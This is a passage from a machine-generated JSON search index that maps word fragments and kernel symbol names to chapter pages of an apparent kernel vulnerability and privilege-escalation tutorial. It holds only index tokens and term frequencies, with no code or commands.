tml":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517},"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.08333333333333333}},"e":{"docs":{},"d":{"docs":{},"(":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{},"_":{"docs":{},"b":{"docs":{},"c":{"docs":{},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"m":{"docs":{},"o":{"docs":{},"d":{"docs":{},"u":{"docs":{},"l":{"docs":{},"e":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{},"=":{"docs":{},"x":{"8":{"6":{"docs":{},"_":{"6":{"4":{"docs":{},"_":{"docs":{},"r":{"docs":{},"a":{"docs":{},"n":{"docs":{},"c":{"docs":{},"h":{"docs":{},"u":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}}}}}}}},"l":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"?":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"n":{"docs":{},"i":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.009505703422053232}},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}},"s":{"docs":{},"c":{"docs":{},"r":{"docs":{},"i":{"docs":{},"p":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"o":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"b":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"i":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"t":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"r":{"docs":{},"m":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"i":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"f":{"docs":{},"f":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"e":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"s":{"docs":{},"k":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"e":{"docs":{},"d":{"docs":{},")":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"w":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"c":{"docs":{},"o":{"docs":{},"v":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":5.006410256410256}}}}}}},"a":{"docs":{},"r":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"u":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"p":{"docs":{},"l":{"docs":{},"a":{"docs":{},"y":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}},"c":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"e":{"docs":{},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"(":{"docs":{},"\"":{"docs":{},"a":{"docs":{},"c":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}},"r":{"docs":{},"t":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"y":{"docs":{},"_":{"docs":{},"p":{"docs":{},"a":{"docs":{},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"w":{"docs":{},"h":{"docs":{},"e":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"y":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"a":{"docs":{},"g":{"docs":{},"r":{"docs":{},"a":{"docs":{},"m":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"o":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"n":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"'":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"w":{"docs":{},"n":{"docs":{},"l":{"docs":{},"o":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371}}}}}}}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"e":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0048502139800285305}}}}},"c":{"docs":{},"u":{"docs":{},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"i":{"docs":{},"t":{"docs":{},"+":{"0":{"docs":{},"x":{"8":{"1":{"8":{"docs":{},"/":{"0":{"docs":{},"x":{"2":{"3":{"8":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}}}},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"i":{"docs":{},"t":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"2":{"docs":{},"c":{"docs":{},"/":{"0":{"docs":{},"x":{"2":{"4":{"docs":{},"b":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}},"2":{"4":{"docs":{},"b":{"docs":{},"/":{"0":{"docs":{},"x":{"2":{"4":{"docs":{},"b":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}}},"r":{"docs":{},"a":{"docs":{},"w":{"docs":{},"_":{"docs":{},"s":{"docs":{},"p":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"f":{"docs":{},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"y":{"docs":{},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"6":{"4":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"9":{"docs":{},"e":{"docs":{},"/":{"0":{"docs":{},"x":{"2":{"2":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}}}}}}}},"v":{"docs":{},"f":{"docs":{},"s":{"docs":{},"_":{"docs":{},"i":{"docs":{},"o":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{},"+":{"0":{"docs":{},"x":{"6":{"0":{"8":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"0":{"6":{"docs":{},"a":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"(":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}},"p":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},"_":{"docs":{},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"(":{"docs":{},"u":{"docs":{},"n":{"docs":{},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"(":{"docs":{},"f":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"u":{"docs":{},"n":{"docs":{},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}},"u":{"docs":{},"b":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"r":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"r":{"docs":{},"s":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},"/":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},":":{"2":{"0":{"5":{"3":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"4":{"6":{"7":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"7":{"0":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"9":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"8":{"0":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"5":{"0":{"6":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}}}}}}}},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.00784094091290955}},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"u":{"docs":{},"f":{"docs":{},"f":{"docs":{},"e":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"[":{"docs":{},"p":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"e":{"docs":{},":":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}},"n":{"docs":{},"g":{"docs":{},"l":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}},"y":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"l":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"u":{"docs":{},"r":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}},"m":{"docs":{},"p":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"+":{"0":{"docs":{},"x":{"7":{"8":{"docs":{},"/":{"0":{"docs":{},"x":{"docs":{},"b":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}},"m":{"docs":{},"i":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}},"m":{"docs":{},"e":{"docs":{},"s":{"docs":{},"g":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939}},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}}}}}},"y":{"docs":{},"n":{"docs":{},"a":{"docs":{},"m":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"f":{"5":{"docs":{},"c":{"docs":{},"b":{"7":{"7":{"9":{"docs":{},"b":{"docs":{},"a":{"1":{"6":{"3":{"3":{"4":{"docs":{},"b":{"4":{"5":{"docs":{},"b":{"docs":{},"a":{"8":{"9":{"4":{"6":{"docs":{},"d":{"6":{"docs":{},"b":{"docs":{},"f":{"docs":{},"a":{"6":{"docs":{},"d":{"9":{"8":{"3":{"4":{"docs":{},"d":{"1":{"5":{"2":{"7":{"docs":{},"f":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}},"docs":{}}}},"6":{"docs":{},"d":{"docs":{},"d":{"docs":{},"e":{"docs":{},"c":{"2":{"4":{"5":{"1":{"8":{"7":{"docs":{},".":{"docs":{},".":{"5":{"5":{"docs":{},"e":{"2":{"7":{"4":{"8":{"docs":{},"a":{"1":{"3":{"docs":{},"e":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}},"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"s":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"y":{"docs":{},"s":{"docs":{},"t":{"docs":{},"e":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}},"=":{"docs":{},"\"":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"\"":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"_":{"docs":{},"o":{"docs":{},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}}},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"n":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"d":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.009615384615384616},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.005991440798858773}}},"a":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"l":{"docs":{},"y":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"s":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"t":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"[":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","t